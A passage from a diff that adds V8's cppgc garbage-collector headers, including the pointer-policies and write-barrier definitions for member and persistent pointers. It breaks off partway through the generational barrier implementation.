} // namespace internal
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_PERSISTENT_NODE_H_
|
||||
@@ -0,0 +1,243 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_POINTER_POLICIES_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_POINTER_POLICIES_H_
|
||||
|
||||
#include <cstdint>
|
||||
#include <type_traits>
|
||||
|
||||
#include "cppgc/internal/member-storage.h"
|
||||
#include "cppgc/internal/write-barrier.h"
|
||||
#include "cppgc/sentinel-pointer.h"
|
||||
#include "cppgc/source-location.h"
|
||||
#include "cppgc/type-traits.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
namespace internal {
|
||||
|
||||
class HeapBase;
|
||||
class PersistentRegion;
|
||||
class CrossThreadPersistentRegion;
|
||||
|
||||
// Tags to distinguish between strong and weak member types.
|
||||
class StrongMemberTag;
|
||||
class WeakMemberTag;
|
||||
class UntracedMemberTag;
|
||||
|
||||
struct DijkstraWriteBarrierPolicy {
|
||||
V8_INLINE static void InitializingBarrier(const void*, const void*) {
|
||||
// Since in initializing writes the source object is always white, having no
|
||||
// barrier doesn't break the tri-color invariant.
|
||||
}
|
||||
|
||||
template <WriteBarrierSlotType SlotType>
|
||||
V8_INLINE static void AssigningBarrier(const void* slot, const void* value) {
|
||||
#ifdef CPPGC_SLIM_WRITE_BARRIER
|
||||
if (V8_UNLIKELY(WriteBarrier::IsEnabled()))
|
||||
WriteBarrier::CombinedWriteBarrierSlow<SlotType>(slot);
|
||||
#else // !CPPGC_SLIM_WRITE_BARRIER
|
||||
WriteBarrier::Params params;
|
||||
const WriteBarrier::Type type =
|
||||
WriteBarrier::GetWriteBarrierType(slot, value, params);
|
||||
WriteBarrier(type, params, slot, value);
|
||||
#endif // !CPPGC_SLIM_WRITE_BARRIER
|
||||
}
|
||||
|
||||
template <WriteBarrierSlotType SlotType>
|
||||
V8_INLINE static void AssigningBarrier(const void* slot, RawPointer storage) {
|
||||
static_assert(
|
||||
SlotType == WriteBarrierSlotType::kUncompressed,
|
||||
"Assigning storages of Member and UncompressedMember is not supported");
|
||||
#ifdef CPPGC_SLIM_WRITE_BARRIER
|
||||
if (V8_UNLIKELY(WriteBarrier::IsEnabled()))
|
||||
WriteBarrier::CombinedWriteBarrierSlow<SlotType>(slot);
|
||||
#else // !CPPGC_SLIM_WRITE_BARRIER
|
||||
WriteBarrier::Params params;
|
||||
const WriteBarrier::Type type =
|
||||
WriteBarrier::GetWriteBarrierType(slot, storage, params);
|
||||
WriteBarrier(type, params, slot, storage.Load());
|
||||
#endif // !CPPGC_SLIM_WRITE_BARRIER
|
||||
}
|
||||
|
||||
#if defined(CPPGC_POINTER_COMPRESSION)
|
||||
template <WriteBarrierSlotType SlotType>
|
||||
V8_INLINE static void AssigningBarrier(const void* slot,
|
||||
CompressedPointer storage) {
|
||||
static_assert(
|
||||
SlotType == WriteBarrierSlotType::kCompressed,
|
||||
"Assigning storages of Member and UncompressedMember is not supported");
|
||||
#ifdef CPPGC_SLIM_WRITE_BARRIER
|
||||
if (V8_UNLIKELY(WriteBarrier::IsEnabled()))
|
||||
WriteBarrier::CombinedWriteBarrierSlow<SlotType>(slot);
|
||||
#else // !CPPGC_SLIM_WRITE_BARRIER
|
||||
WriteBarrier::Params params;
|
||||
const WriteBarrier::Type type =
|
||||
WriteBarrier::GetWriteBarrierType(slot, storage, params);
|
||||
WriteBarrier(type, params, slot, storage.Load());
|
||||
#endif // !CPPGC_SLIM_WRITE_BARRIER
|
||||
}
|
||||
#endif // defined(CPPGC_POINTER_COMPRESSION)
|
||||
|
||||
private:
|
||||
V8_INLINE static void WriteBarrier(WriteBarrier::Type type,
|
||||
const WriteBarrier::Params& params,
|
||||
const void* slot, const void* value) {
|
||||
switch (type) {
|
||||
case WriteBarrier::Type::kGenerational:
|
||||
WriteBarrier::GenerationalBarrier<
|
||||
WriteBarrier::GenerationalBarrierType::kPreciseSlot>(params, slot);
|
||||
break;
|
||||
case WriteBarrier::Type::kMarking:
|
||||
WriteBarrier::DijkstraMarkingBarrier(params, value);
|
||||
break;
|
||||
case WriteBarrier::Type::kNone:
|
||||
break;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
struct NoWriteBarrierPolicy {
|
||||
V8_INLINE static void InitializingBarrier(const void*, const void*) {}
|
||||
template <WriteBarrierSlotType>
|
||||
V8_INLINE static void AssigningBarrier(const void*, const void*) {}
|
||||
template <WriteBarrierSlotType, typename MemberStorage>
|
||||
V8_INLINE static void AssigningBarrier(const void*, MemberStorage) {}
|
||||
};
|
||||
|
||||
class V8_EXPORT SameThreadEnabledCheckingPolicyBase {
|
||||
protected:
|
||||
void CheckPointerImpl(const void* ptr, bool points_to_payload,
|
||||
bool check_off_heap_assignments);
|
||||
|
||||
const HeapBase* heap_ = nullptr;
|
||||
};
|
||||
|
||||
template <bool kCheckOffHeapAssignments>
|
||||
class V8_EXPORT SameThreadEnabledCheckingPolicy
|
||||
: private SameThreadEnabledCheckingPolicyBase {
|
||||
protected:
|
||||
template <typename T>
|
||||
void CheckPointer(const T* ptr) {
|
||||
if (!ptr || (kSentinelPointer == ptr)) return;
|
||||
|
||||
CheckPointersImplTrampoline<T>::Call(this, ptr);
|
||||
}
|
||||
|
||||
private:
|
||||
template <typename T, bool = IsCompleteV<T>>
|
||||
struct CheckPointersImplTrampoline {
|
||||
static void Call(SameThreadEnabledCheckingPolicy* policy, const T* ptr) {
|
||||
policy->CheckPointerImpl(ptr, false, kCheckOffHeapAssignments);
|
||||
}
|
||||
};
|
||||
|
||||
template <typename T>
|
||||
struct CheckPointersImplTrampoline<T, true> {
|
||||
static void Call(SameThreadEnabledCheckingPolicy* policy, const T* ptr) {
|
||||
policy->CheckPointerImpl(ptr, IsGarbageCollectedTypeV<T>,
|
||||
kCheckOffHeapAssignments);
|
||||
}
|
||||
};
|
||||
};
|
||||
|
||||
class DisabledCheckingPolicy {
|
||||
protected:
|
||||
V8_INLINE void CheckPointer(const void*) {}
|
||||
};
|
||||
|
||||
#ifdef DEBUG
|
||||
// Off heap members are not connected to object graph and thus cannot ressurect
|
||||
// dead objects.
|
||||
using DefaultMemberCheckingPolicy =
|
||||
SameThreadEnabledCheckingPolicy<false /* kCheckOffHeapAssignments*/>;
|
||||
using DefaultPersistentCheckingPolicy =
|
||||
SameThreadEnabledCheckingPolicy<true /* kCheckOffHeapAssignments*/>;
|
||||
#else // !DEBUG
|
||||
using DefaultMemberCheckingPolicy = DisabledCheckingPolicy;
|
||||
using DefaultPersistentCheckingPolicy = DisabledCheckingPolicy;
|
||||
#endif // !DEBUG
|
||||
// For CT(W)P neither marking information (for value), nor objectstart bitmap
|
||||
// (for slot) are guaranteed to be present because there's no synchronization
|
||||
// between heaps after marking.
|
||||
using DefaultCrossThreadPersistentCheckingPolicy = DisabledCheckingPolicy;
|
||||
|
||||
class KeepLocationPolicy {
|
||||
public:
|
||||
constexpr const SourceLocation& Location() const { return location_; }
|
||||
|
||||
protected:
|
||||
constexpr KeepLocationPolicy() = default;
|
||||
constexpr explicit KeepLocationPolicy(const SourceLocation& location)
|
||||
: location_(location) {}
|
||||
|
||||
// KeepLocationPolicy must not copy underlying source locations.
|
||||
KeepLocationPolicy(const KeepLocationPolicy&) = delete;
|
||||
KeepLocationPolicy& operator=(const KeepLocationPolicy&) = delete;
|
||||
|
||||
// Location of the original moved from object should be preserved.
|
||||
KeepLocationPolicy(KeepLocationPolicy&&) = default;
|
||||
KeepLocationPolicy& operator=(KeepLocationPolicy&&) = default;
|
||||
|
||||
private:
|
||||
SourceLocation location_;
|
||||
};
|
||||
|
||||
class IgnoreLocationPolicy {
|
||||
public:
|
||||
constexpr SourceLocation Location() const { return {}; }
|
||||
|
||||
protected:
|
||||
constexpr IgnoreLocationPolicy() = default;
|
||||
constexpr explicit IgnoreLocationPolicy(const SourceLocation&) {}
|
||||
};
|
||||
|
||||
#if CPPGC_SUPPORTS_OBJECT_NAMES
|
||||
using DefaultLocationPolicy = KeepLocationPolicy;
|
||||
#else
|
||||
using DefaultLocationPolicy = IgnoreLocationPolicy;
|
||||
#endif
|
||||
|
||||
struct StrongPersistentPolicy {
|
||||
using IsStrongPersistent = std::true_type;
|
||||
static V8_EXPORT PersistentRegion& GetPersistentRegion(const void* object);
|
||||
};
|
||||
|
||||
struct WeakPersistentPolicy {
|
||||
using IsStrongPersistent = std::false_type;
|
||||
static V8_EXPORT PersistentRegion& GetPersistentRegion(const void* object);
|
||||
};
|
||||
|
||||
struct StrongCrossThreadPersistentPolicy {
|
||||
using IsStrongPersistent = std::true_type;
|
||||
static V8_EXPORT CrossThreadPersistentRegion& GetPersistentRegion(
|
||||
const void* object);
|
||||
};
|
||||
|
||||
struct WeakCrossThreadPersistentPolicy {
|
||||
using IsStrongPersistent = std::false_type;
|
||||
static V8_EXPORT CrossThreadPersistentRegion& GetPersistentRegion(
|
||||
const void* object);
|
||||
};
|
||||
|
||||
// Forward declarations setting up the default policies.
|
||||
template <typename T, typename WeaknessPolicy,
|
||||
typename LocationPolicy = DefaultLocationPolicy,
|
||||
typename CheckingPolicy = DefaultCrossThreadPersistentCheckingPolicy>
|
||||
class BasicCrossThreadPersistent;
|
||||
template <typename T, typename WeaknessPolicy,
|
||||
typename LocationPolicy = DefaultLocationPolicy,
|
||||
typename CheckingPolicy = DefaultPersistentCheckingPolicy>
|
||||
class BasicPersistent;
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy = DefaultMemberCheckingPolicy,
|
||||
typename StorageType = DefaultMemberStorage>
|
||||
class BasicMember;
|
||||
|
||||
} // namespace internal
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_POINTER_POLICIES_H_
|
||||
@@ -0,0 +1,487 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_INTERNAL_WRITE_BARRIER_H_
|
||||
#define INCLUDE_CPPGC_INTERNAL_WRITE_BARRIER_H_
|
||||
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
|
||||
#include "cppgc/heap-handle.h"
|
||||
#include "cppgc/heap-state.h"
|
||||
#include "cppgc/internal/api-constants.h"
|
||||
#include "cppgc/internal/atomic-entry-flag.h"
|
||||
#include "cppgc/internal/base-page-handle.h"
|
||||
#include "cppgc/internal/member-storage.h"
|
||||
#include "cppgc/platform.h"
|
||||
#include "cppgc/sentinel-pointer.h"
|
||||
#include "cppgc/trace-trait.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
#include "cppgc/internal/caged-heap-local-data.h"
|
||||
#include "cppgc/internal/caged-heap.h"
|
||||
#endif
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
class HeapHandle;
|
||||
|
||||
namespace internal {
|
||||
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
class WriteBarrierTypeForCagedHeapPolicy;
|
||||
#else // !CPPGC_CAGED_HEAP
|
||||
class WriteBarrierTypeForNonCagedHeapPolicy;
|
||||
#endif // !CPPGC_CAGED_HEAP
|
||||
|
||||
class V8_EXPORT WriteBarrier final {
|
||||
public:
|
||||
enum class Type : uint8_t {
|
||||
kNone,
|
||||
kMarking,
|
||||
kGenerational,
|
||||
};
|
||||
|
||||
enum class GenerationalBarrierType : uint8_t {
|
||||
kPreciseSlot,
|
||||
kPreciseUncompressedSlot,
|
||||
kImpreciseSlot,
|
||||
};
|
||||
|
||||
struct Params {
|
||||
HeapHandle* heap = nullptr;
|
||||
#if V8_ENABLE_CHECKS
|
||||
Type type = Type::kNone;
|
||||
#endif // !V8_ENABLE_CHECKS
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
uintptr_t slot_offset = 0;
|
||||
uintptr_t value_offset = 0;
|
||||
#endif // CPPGC_CAGED_HEAP
|
||||
};
|
||||
|
||||
enum class ValueMode {
|
||||
kValuePresent,
|
||||
kNoValuePresent,
|
||||
};
|
||||
|
||||
// Returns the required write barrier for a given `slot` and `value`.
|
||||
static V8_INLINE Type GetWriteBarrierType(const void* slot, const void* value,
|
||||
Params& params);
|
||||
// Returns the required write barrier for a given `slot` and `value`.
|
||||
template <typename MemberStorage>
|
||||
static V8_INLINE Type GetWriteBarrierType(const void* slot, MemberStorage,
|
||||
Params& params);
|
||||
// Returns the required write barrier for a given `slot`.
|
||||
template <typename HeapHandleCallback>
|
||||
static V8_INLINE Type GetWriteBarrierType(const void* slot, Params& params,
|
||||
HeapHandleCallback callback);
|
||||
// Returns the required write barrier for a given `value`.
|
||||
static V8_INLINE Type GetWriteBarrierType(const void* value, Params& params);
|
||||
|
||||
#ifdef CPPGC_SLIM_WRITE_BARRIER
|
||||
// A write barrier that combines `GenerationalBarrier()` and
|
||||
// `DijkstraMarkingBarrier()`. We only pass a single parameter here to clobber
|
||||
// as few registers as possible.
|
||||
template <WriteBarrierSlotType>
|
||||
static V8_NOINLINE void V8_PRESERVE_MOST
|
||||
CombinedWriteBarrierSlow(const void* slot);
|
||||
#endif // CPPGC_SLIM_WRITE_BARRIER
|
||||
|
||||
static V8_INLINE void DijkstraMarkingBarrier(const Params& params,
|
||||
const void* object);
|
||||
static V8_INLINE void DijkstraMarkingBarrierRange(
|
||||
const Params& params, const void* first_element, size_t element_size,
|
||||
size_t number_of_elements, TraceCallback trace_callback);
|
||||
static V8_INLINE void SteeleMarkingBarrier(const Params& params,
|
||||
const void* object);
|
||||
#if defined(CPPGC_YOUNG_GENERATION)
|
||||
template <GenerationalBarrierType>
|
||||
static V8_INLINE void GenerationalBarrier(const Params& params,
|
||||
const void* slot);
|
||||
#else // !CPPGC_YOUNG_GENERATION
|
||||
template <GenerationalBarrierType>
|
||||
static V8_INLINE void GenerationalBarrier(const Params& params,
|
||||
const void* slot){}
|
||||
#endif // CPPGC_YOUNG_GENERATION
|
||||
|
||||
#if V8_ENABLE_CHECKS
|
||||
static void CheckParams(Type expected_type, const Params& params);
|
||||
#else // !V8_ENABLE_CHECKS
|
||||
static void CheckParams(Type expected_type, const Params& params) {}
|
||||
#endif // !V8_ENABLE_CHECKS
|
||||
|
||||
// The FlagUpdater class allows cppgc internal to update
|
||||
// |write_barrier_enabled_|.
|
||||
class FlagUpdater;
|
||||
static bool IsEnabled() { return write_barrier_enabled_.MightBeEntered(); }
|
||||
|
||||
private:
|
||||
WriteBarrier() = delete;
|
||||
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
using WriteBarrierTypePolicy = WriteBarrierTypeForCagedHeapPolicy;
|
||||
#else // !CPPGC_CAGED_HEAP
|
||||
using WriteBarrierTypePolicy = WriteBarrierTypeForNonCagedHeapPolicy;
|
||||
#endif // !CPPGC_CAGED_HEAP
|
||||
|
||||
static void DijkstraMarkingBarrierSlow(const void* value);
|
||||
static void DijkstraMarkingBarrierSlowWithSentinelCheck(const void* value);
|
||||
static void DijkstraMarkingBarrierRangeSlow(HeapHandle& heap_handle,
|
||||
const void* first_element,
|
||||
size_t element_size,
|
||||
size_t number_of_elements,
|
||||
TraceCallback trace_callback);
|
||||
static void SteeleMarkingBarrierSlow(const void* value);
|
||||
static void SteeleMarkingBarrierSlowWithSentinelCheck(const void* value);
|
||||
|
||||
#if defined(CPPGC_YOUNG_GENERATION)
|
||||
static CagedHeapLocalData& GetLocalData(HeapHandle&);
|
||||
static void GenerationalBarrierSlow(const CagedHeapLocalData& local_data,
|
||||
const AgeTable& age_table,
|
||||
const void* slot, uintptr_t value_offset,
|
||||
HeapHandle* heap_handle);
|
||||
static void GenerationalBarrierForUncompressedSlotSlow(
|
||||
const CagedHeapLocalData& local_data, const AgeTable& age_table,
|
||||
const void* slot, uintptr_t value_offset, HeapHandle* heap_handle);
|
||||
static void GenerationalBarrierForSourceObjectSlow(
|
||||
const CagedHeapLocalData& local_data, const void* object,
|
||||
HeapHandle* heap_handle);
|
||||
#endif // CPPGC_YOUNG_GENERATION
|
||||
|
||||
static AtomicEntryFlag write_barrier_enabled_;
|
||||
};
|
||||
|
||||
template <WriteBarrier::Type type>
|
||||
V8_INLINE WriteBarrier::Type SetAndReturnType(WriteBarrier::Params& params) {
|
||||
if constexpr (type == WriteBarrier::Type::kNone)
|
||||
return WriteBarrier::Type::kNone;
|
||||
#if V8_ENABLE_CHECKS
|
||||
params.type = type;
|
||||
#endif // !V8_ENABLE_CHECKS
|
||||
return type;
|
||||
}
|
||||
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
class V8_EXPORT WriteBarrierTypeForCagedHeapPolicy final {
|
||||
public:
|
||||
template <WriteBarrier::ValueMode value_mode, typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* slot, const void* value,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
return ValueModeDispatch<value_mode>::Get(slot, value, params, callback);
|
||||
}
|
||||
|
||||
template <WriteBarrier::ValueMode value_mode, typename HeapHandleCallback,
|
||||
typename MemberStorage>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* slot, MemberStorage value,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
return ValueModeDispatch<value_mode>::Get(slot, value, params, callback);
|
||||
}
|
||||
|
||||
template <WriteBarrier::ValueMode value_mode, typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* value,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
return GetNoSlot(value, params, callback);
|
||||
}
|
||||
|
||||
private:
|
||||
WriteBarrierTypeForCagedHeapPolicy() = delete;
|
||||
|
||||
template <typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type GetNoSlot(const void* value,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback) {
|
||||
const bool within_cage = CagedHeapBase::IsWithinCage(value);
|
||||
if (!within_cage) return WriteBarrier::Type::kNone;
|
||||
|
||||
// We know that |value| points either within the normal page or to the
|
||||
// beginning of large-page, so extract the page header by bitmasking.
|
||||
BasePageHandle* page =
|
||||
BasePageHandle::FromPayload(const_cast<void*>(value));
|
||||
|
||||
HeapHandle& heap_handle = page->heap_handle();
|
||||
if (V8_UNLIKELY(heap_handle.is_incremental_marking_in_progress())) {
|
||||
return SetAndReturnType<WriteBarrier::Type::kMarking>(params);
|
||||
}
|
||||
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
}
|
||||
|
||||
template <WriteBarrier::ValueMode value_mode>
|
||||
struct ValueModeDispatch;
|
||||
};
|
||||
|
||||
template <>
|
||||
struct WriteBarrierTypeForCagedHeapPolicy::ValueModeDispatch<
|
||||
WriteBarrier::ValueMode::kValuePresent> {
|
||||
template <typename HeapHandleCallback, typename MemberStorage>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* slot,
|
||||
MemberStorage storage,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback) {
|
||||
if (V8_LIKELY(!WriteBarrier::IsEnabled()))
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
|
||||
return BarrierEnabledGet(slot, storage.Load(), params);
|
||||
}
|
||||
|
||||
template <typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* slot, const void* value,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback) {
|
||||
if (V8_LIKELY(!WriteBarrier::IsEnabled()))
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
|
||||
return BarrierEnabledGet(slot, value, params);
|
||||
}
|
||||
|
||||
private:
|
||||
static V8_INLINE WriteBarrier::Type BarrierEnabledGet(
|
||||
const void* slot, const void* value, WriteBarrier::Params& params) {
|
||||
const bool within_cage = CagedHeapBase::AreWithinCage(slot, value);
|
||||
if (!within_cage) return WriteBarrier::Type::kNone;
|
||||
|
||||
// We know that |value| points either within the normal page or to the
|
||||
// beginning of large-page, so extract the page header by bitmasking.
|
||||
BasePageHandle* page =
|
||||
BasePageHandle::FromPayload(const_cast<void*>(value));
|
||||
|
||||
HeapHandle& heap_handle = page->heap_handle();
|
||||
if (V8_LIKELY(!heap_handle.is_incremental_marking_in_progress())) {
|
||||
#if defined(CPPGC_YOUNG_GENERATION)
|
||||
if (!heap_handle.is_young_generation_enabled())
|
||||
return WriteBarrier::Type::kNone;
|
||||
params.heap = &heap_handle;
|
||||
params.slot_offset = CagedHeapBase::OffsetFromAddress(slot);
|
||||
params.value_offset = CagedHeapBase::OffsetFromAddress(value);
|
||||
return SetAndReturnType<WriteBarrier::Type::kGenerational>(params);
|
||||
#else // !CPPGC_YOUNG_GENERATION
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
#endif // !CPPGC_YOUNG_GENERATION
|
||||
}
|
||||
|
||||
// Use marking barrier.
|
||||
params.heap = &heap_handle;
|
||||
return SetAndReturnType<WriteBarrier::Type::kMarking>(params);
|
||||
}
|
||||
};
|
||||
|
||||
template <>
|
||||
struct WriteBarrierTypeForCagedHeapPolicy::ValueModeDispatch<
|
||||
WriteBarrier::ValueMode::kNoValuePresent> {
|
||||
template <typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* slot, const void*,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
if (V8_LIKELY(!WriteBarrier::IsEnabled()))
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
|
||||
HeapHandle& handle = callback();
|
||||
#if defined(CPPGC_YOUNG_GENERATION)
|
||||
if (V8_LIKELY(!handle.is_incremental_marking_in_progress())) {
|
||||
if (!handle.is_young_generation_enabled()) {
|
||||
return WriteBarrier::Type::kNone;
|
||||
}
|
||||
params.heap = &handle;
|
||||
// Check if slot is on stack.
|
||||
if (V8_UNLIKELY(!CagedHeapBase::IsWithinCage(slot))) {
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
}
|
||||
params.slot_offset = CagedHeapBase::OffsetFromAddress(slot);
|
||||
return SetAndReturnType<WriteBarrier::Type::kGenerational>(params);
|
||||
}
|
||||
#else // !defined(CPPGC_YOUNG_GENERATION)
|
||||
if (V8_UNLIKELY(!handle.is_incremental_marking_in_progress())) {
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
}
|
||||
#endif // !defined(CPPGC_YOUNG_GENERATION)
|
||||
params.heap = &handle;
|
||||
return SetAndReturnType<WriteBarrier::Type::kMarking>(params);
|
||||
}
|
||||
};
|
||||
|
||||
#endif // CPPGC_CAGED_HEAP
|
||||
|
||||
class V8_EXPORT WriteBarrierTypeForNonCagedHeapPolicy final {
|
||||
public:
|
||||
template <WriteBarrier::ValueMode value_mode, typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* slot, const void* value,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
return ValueModeDispatch<value_mode>::Get(slot, value, params, callback);
|
||||
}
|
||||
|
||||
template <WriteBarrier::ValueMode value_mode, typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* slot, RawPointer value,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
return ValueModeDispatch<value_mode>::Get(slot, value.Load(), params,
|
||||
callback);
|
||||
}
|
||||
|
||||
template <WriteBarrier::ValueMode value_mode, typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void* value,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
// The slot will never be used in `Get()` below.
|
||||
return Get<WriteBarrier::ValueMode::kValuePresent>(nullptr, value, params,
|
||||
callback);
|
||||
}
|
||||
|
||||
private:
|
||||
template <WriteBarrier::ValueMode value_mode>
|
||||
struct ValueModeDispatch;
|
||||
|
||||
WriteBarrierTypeForNonCagedHeapPolicy() = delete;
|
||||
};
|
||||
|
||||
template <>
|
||||
struct WriteBarrierTypeForNonCagedHeapPolicy::ValueModeDispatch<
|
||||
WriteBarrier::ValueMode::kValuePresent> {
|
||||
template <typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void*, const void* object,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
// The following check covers nullptr as well as sentinel pointer.
|
||||
if (object <= static_cast<void*>(kSentinelPointer)) {
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
}
|
||||
if (V8_LIKELY(!WriteBarrier::IsEnabled())) {
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
}
|
||||
// We know that |object| is within the normal page or in the beginning of a
|
||||
// large page, so extract the page header by bitmasking.
|
||||
BasePageHandle* page =
|
||||
BasePageHandle::FromPayload(const_cast<void*>(object));
|
||||
|
||||
HeapHandle& heap_handle = page->heap_handle();
|
||||
if (V8_LIKELY(heap_handle.is_incremental_marking_in_progress())) {
|
||||
return SetAndReturnType<WriteBarrier::Type::kMarking>(params);
|
||||
}
|
||||
return SetAndReturnType<WriteBarrier::Type::kNone>(params);
|
||||
}
|
||||
};
|
||||
|
||||
template <>
|
||||
struct WriteBarrierTypeForNonCagedHeapPolicy::ValueModeDispatch<
|
||||
WriteBarrier::ValueMode::kNoValuePresent> {
|
||||
template <typename HeapHandleCallback>
|
||||
static V8_INLINE WriteBarrier::Type Get(const void*, const void*,
|
||||
WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
if (V8_UNLIKELY(WriteBarrier::IsEnabled())) {
|
||||
HeapHandle& handle = callback();
|
||||
if (V8_LIKELY(handle.is_incremental_marking_in_progress())) {
|
||||
params.heap = &handle;
|
||||
return SetAndReturnType<WriteBarrier::Type::kMarking>(params);
|
||||
}
|
||||
}
|
||||
return WriteBarrier::Type::kNone;
|
||||
}
|
||||
};
|
||||
|
||||
// static
|
||||
WriteBarrier::Type WriteBarrier::GetWriteBarrierType(
|
||||
const void* slot, const void* value, WriteBarrier::Params& params) {
|
||||
return WriteBarrierTypePolicy::Get<ValueMode::kValuePresent>(slot, value,
|
||||
params, []() {});
|
||||
}
|
||||
|
||||
// static
|
||||
template <typename MemberStorage>
|
||||
WriteBarrier::Type WriteBarrier::GetWriteBarrierType(
|
||||
const void* slot, MemberStorage value, WriteBarrier::Params& params) {
|
||||
return WriteBarrierTypePolicy::Get<ValueMode::kValuePresent>(slot, value,
|
||||
params, []() {});
|
||||
}
|
||||
|
||||
// static
|
||||
template <typename HeapHandleCallback>
|
||||
WriteBarrier::Type WriteBarrier::GetWriteBarrierType(
|
||||
const void* slot, WriteBarrier::Params& params,
|
||||
HeapHandleCallback callback) {
|
||||
return WriteBarrierTypePolicy::Get<ValueMode::kNoValuePresent>(
|
||||
slot, nullptr, params, callback);
|
||||
}
|
||||
|
||||
// static
|
||||
WriteBarrier::Type WriteBarrier::GetWriteBarrierType(
|
||||
const void* value, WriteBarrier::Params& params) {
|
||||
return WriteBarrierTypePolicy::Get<ValueMode::kValuePresent>(value, params,
|
||||
[]() {});
|
||||
}
|
||||
|
||||
// static
|
||||
void WriteBarrier::DijkstraMarkingBarrier(const Params& params,
|
||||
const void* object) {
|
||||
CheckParams(Type::kMarking, params);
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
// Caged heap already filters out sentinels.
|
||||
DijkstraMarkingBarrierSlow(object);
|
||||
#else // !CPPGC_CAGED_HEAP
|
||||
DijkstraMarkingBarrierSlowWithSentinelCheck(object);
|
||||
#endif // !CPPGC_CAGED_HEAP
|
||||
}
|
||||
|
||||
// static
|
||||
void WriteBarrier::DijkstraMarkingBarrierRange(const Params& params,
|
||||
const void* first_element,
|
||||
size_t element_size,
|
||||
size_t number_of_elements,
|
||||
TraceCallback trace_callback) {
|
||||
CheckParams(Type::kMarking, params);
|
||||
DijkstraMarkingBarrierRangeSlow(*params.heap, first_element, element_size,
|
||||
number_of_elements, trace_callback);
|
||||
}
|
||||
|
||||
// static
|
||||
void WriteBarrier::SteeleMarkingBarrier(const Params& params,
|
||||
const void* object) {
|
||||
CheckParams(Type::kMarking, params);
|
||||
#if defined(CPPGC_CAGED_HEAP)
|
||||
// Caged heap already filters out sentinels.
|
||||
SteeleMarkingBarrierSlow(object);
|
||||
#else // !CPPGC_CAGED_HEAP
|
||||
SteeleMarkingBarrierSlowWithSentinelCheck(object);
|
||||
#endif // !CPPGC_CAGED_HEAP
|
||||
}
|
||||
|
||||
#if defined(CPPGC_YOUNG_GENERATION)
|
||||
|
||||
// static
|
||||
template <WriteBarrier::GenerationalBarrierType type>
|
||||
void WriteBarrier::GenerationalBarrier(const Params& params, const void* slot) {
|
||||
CheckParams(Type::kGenerational, params);
|
||||
|
||||
const CagedHeapLocalData& local_data = CagedHeapLocalData::Get();
|
||||
const AgeTable& age_table = local_data.age_table;
|
||||
|
||||
// Bail out if the slot (precise or imprecise) is in young generation.
|
||||
if (V8_LIKELY(age_table.GetAge(params.slot_offset) == AgeTable::Age::kYoung))
|
||||
return;
|
||||
|
||||
// Dispatch between different types of barriers.
|
||||
// TODO(chromium:1029379): Consider reload local_data in the slow path to
|
||||
// reduce register pressure.
|
||||
if constexpr (type == GenerationalBarrierType::kPreciseSlot) {
|
||||
